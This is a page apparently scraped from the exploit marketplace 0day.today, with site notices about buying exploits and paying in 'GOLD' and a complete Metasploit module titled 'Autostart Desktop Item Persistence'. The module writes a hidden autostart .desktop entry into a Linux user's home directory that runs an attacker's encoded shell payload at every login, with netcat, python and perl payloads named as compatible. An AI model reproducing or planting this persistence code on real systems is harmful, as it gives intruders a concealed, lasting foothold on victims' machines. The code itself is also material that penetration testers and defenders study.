0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Autostart Desktop Item Persistence Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix def initialize(info = {}) super(update_info(info, 'Name' => 'Autostart Desktop Item Persistence', 'Description' => %q( This module will create an autostart entry to execute a payload. The payload will be executed when the users logs in. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => '#%\n"', 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python netcat perl' } }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, 'DisclosureDate' => 'Feb 13 2006', # Date of the 0.5 doc for autostart 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ]) end def exploit name = datastore['NAME'] || Rex::Text.rand_text_alpha(5) home = cmd_exec('echo ~') path = "#{home}/.config/autostart/#{name}.desktop" print_status('Making sure the autostart directory exists') cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists print_status("Uploading autostart file #{path}") write_file(path, [ "[Desktop Entry]", "Type=Application", "Name=#{name}", "NoDisplay=true", "Terminal=false", "Exec=/bin/sh -c \"#{payload.encoded}\"" ].join("\n")) end end # 0day.today [2024-12-29] #